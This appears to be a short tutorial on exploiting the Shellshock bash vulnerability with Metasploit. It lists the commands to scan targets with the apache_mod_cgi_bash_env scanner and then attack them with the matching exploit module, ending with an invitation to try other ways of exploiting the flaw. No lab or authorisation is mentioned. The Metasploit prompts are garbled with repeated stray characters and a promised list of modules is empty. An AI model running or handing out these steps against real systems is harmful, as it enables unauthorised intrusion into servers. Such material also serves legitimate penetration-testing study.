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Shellshock was another one of those exploits that was very impactful across the IT industry. Some said it was Heartbleed 2.0.
There are already many Metasploit modules evailable for Shellshock including:
Let's try one...Start by launching Metasploit. Remember to start the database service!
# service postgresql start
Once launched, use the following commands to scan for vulnerable systems:
msf > use auxiliary/scanner/http/apache_mod_cgi_bash_env
msf auxiliary(\(\(\(\(apache_mod_cgi_bash_env) > set RHOSTS <TARGETS>
msf auxiliary(\(\(\(\(apache_mod_cgi_bash_env) > set TARGETURI /cgi-bin/printenv.cgi
msf auxiliary(\(\(\(\(apache_mod_cgi_bash_env) > run
Once a vulnerable system is discovered, it can be exploited using the following module:
msf > use exploits/multi/http/apache_mod_cgi_bash_env_exec
msf exploit(apache_mod_cgi_bash_env_exec) > set RHOST 192.168.1.1
msf auxiliary(\(\(\(\(apache_mod_cgi_bash_env_exec) > set TARGETURI /cgi-bin/printenv.cgi
msf exploit(apache_mod_cgi_bash_env_exec) > run
There are many ways to expoit this vulnerability. Try out a few different ways and see for your self why it is so dangerous.